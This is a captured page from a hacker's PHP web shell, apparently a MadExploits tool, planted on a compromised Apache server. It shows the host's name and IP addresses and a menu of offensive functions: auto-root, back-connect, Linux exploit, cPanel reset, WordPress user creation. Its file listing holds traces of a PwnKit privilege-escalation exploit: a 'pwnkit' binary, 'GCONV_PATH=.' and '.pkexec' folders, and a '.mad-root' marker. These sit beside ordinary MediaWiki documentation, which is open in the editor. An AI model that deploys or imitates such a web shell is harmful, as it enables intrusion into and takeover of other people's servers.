Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.222
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
thearyasamaj /
public_html /
discover /
docs /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
code-coverage
[ DIR ]
drwxr-xr-x
databases
[ DIR ]
drwxr-xr-x
html
[ DIR ]
drwxr-xr-x
php-memcached
[ DIR ]
drwxr-xr-x
uidesign
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
README
607
B
-rw-r--r--
database.txt
8.78
KB
-rw-r--r--
deferred.txt
1.66
KB
-rw-r--r--
design.txt
5
KB
-rw-r--r--
distributors.txt
11.64
KB
-rw-r--r--
doxygen_first_page.php
477
B
-rw-r--r--
export-0.1.xsd
2.31
KB
-rw-r--r--
export-0.2.xsd
3.1
KB
-rw-r--r--
export-0.3.xsd
4.76
KB
-rw-r--r--
export-0.4.xsd
7.27
KB
-rw-r--r--
export-0.5.xsd
7.39
KB
-rw-r--r--
export-0.6.xsd
7.65
KB
-rw-r--r--
export-demo.xml
4.77
KB
-rw-r--r--
globals.txt
2.14
KB
-rw-r--r--
hooks.txt
93.68
KB
-rw-r--r--
language.txt
1.19
KB
-rw-r--r--
linkcache.txt
972
B
-rw-r--r--
magicword.txt
3.06
KB
-rw-r--r--
maintenance.txt
1.62
KB
-rw-r--r--
memcached.txt
8.18
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
schema.txt
359
B
-rw-r--r--
scripts.txt
2.8
KB
-rw-r--r--
skin.txt
3.31
KB
-rw-r--r--
title.txt
3.88
KB
-rw-r--r--
upload.txt
135
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : magicword.txt
magicword.txt Magic Words are some phrases used in the wikitext. They are used for two things: * Variables (like {{PAGENAME}}, {{SERVER}}, ...): part of wikitext, that looks like templates but that don't accept any parameter. * Parser functions (like {{fullurl:...}}, {{#special:...}}): behaves like functions and accepts parameters. The localized arrays keys are the internal name, and the values are an array, whose include their case-sensitivity and their alias forms. The first form defined is used by the program, for example, when moving a page and its old name should include #REDIRECT. They can be added in several arrays: * By adding a file to $wgExtensionMessagesFiles and defining there $magicWords. This array is associative with the language code in the first dimension key and then a "normal" array of magic words. * Localized arrays (languages/messages/LanguageXX.php) include their different names to be used by the users. To add a new variable, you should use the "MagicWordwgVariableIDs" hook to add the internal name to the $magicWords array. You'll need to define the value of the variable with the "ParserGetVariableValueSwitch" hook. For example to add a new variable: Create a file called ExtensionName.i18n.magic.php with the following contents: ---- <?php $magicWords = array(); $magicWords['en'] = array( // Case sensitive. 'mag_custom' => array( 1, 'CUSTOM' ), ); $magicWords['es'] = array( 'mag_custom' => array( 1, 'ADUANERO' ), ); ---- $wgExtensionMessagesFiles['ExtensionNameMagic'] = dirname( __FILE__ ) . '/ExtensionName.i18n.magic.php'; $wgHooks['MagicWordwgVariableIDs'][] = 'wfAddCustomMagicWordID'; $wgHooks['ParserGetVariableValueSwitch'][] = 'wfGetCustomMagicWordValue'; function wfAddCustomMagicWordID( &$magicWords ) { $magicWords[] = 'mag_custom'; return true; } function wfGetCustomMagicWordValue( &$parser, &$varCache, &$index, &$ret ){ if( $index == 'mag_custom' ){ $ret = $varCache['mag_custom'] = "Custom value"; } return true; } And to add a new parser function: Create a file called ExtensionName.i18n.magic.php with the following contents: ---- <?php $magicWords = array(); $magicWords['en'] = array( // Case insensitive. 'mag_custom' => array( 0, 'custom' ), ); $magicWords['es'] = array( 'mag_custom' => array( 0, 'aduanero' ), ); ---- $wgExtensionMessagesFiles['ExtensionNameMagic'] = dirname( __FILE__ ) . '/ExtensionName.i18n.magic.php'; $wgHooks['ParserFirstCallInit'][] = 'wfRegisterCustomMagicWord'; function wfRegisterCustomMagicWord( &$parser ){ $parser->setFunctionHook( 'mag_custom', 'wfGetCustomMagicWordValue' ); return true; } function wfGetCustomMagicWordValue( &$parser, $var1, $var2 ){ return "custom: var1 is $var1, var2 is $var2"; } Note: the 'ParserFirstCallInit' hook is only aviable since 1.12. To work with an older version, you'll need to use an extension function. Online documentation (contains more informations): Magic words: http://www.mediawiki.org/wiki/Manual:Magic_words Variables: http://www.mediawiki.org/wiki/Manual:Variable Parser functions: http://www.mediawiki.org/wiki/Manual:Parser_functions
Close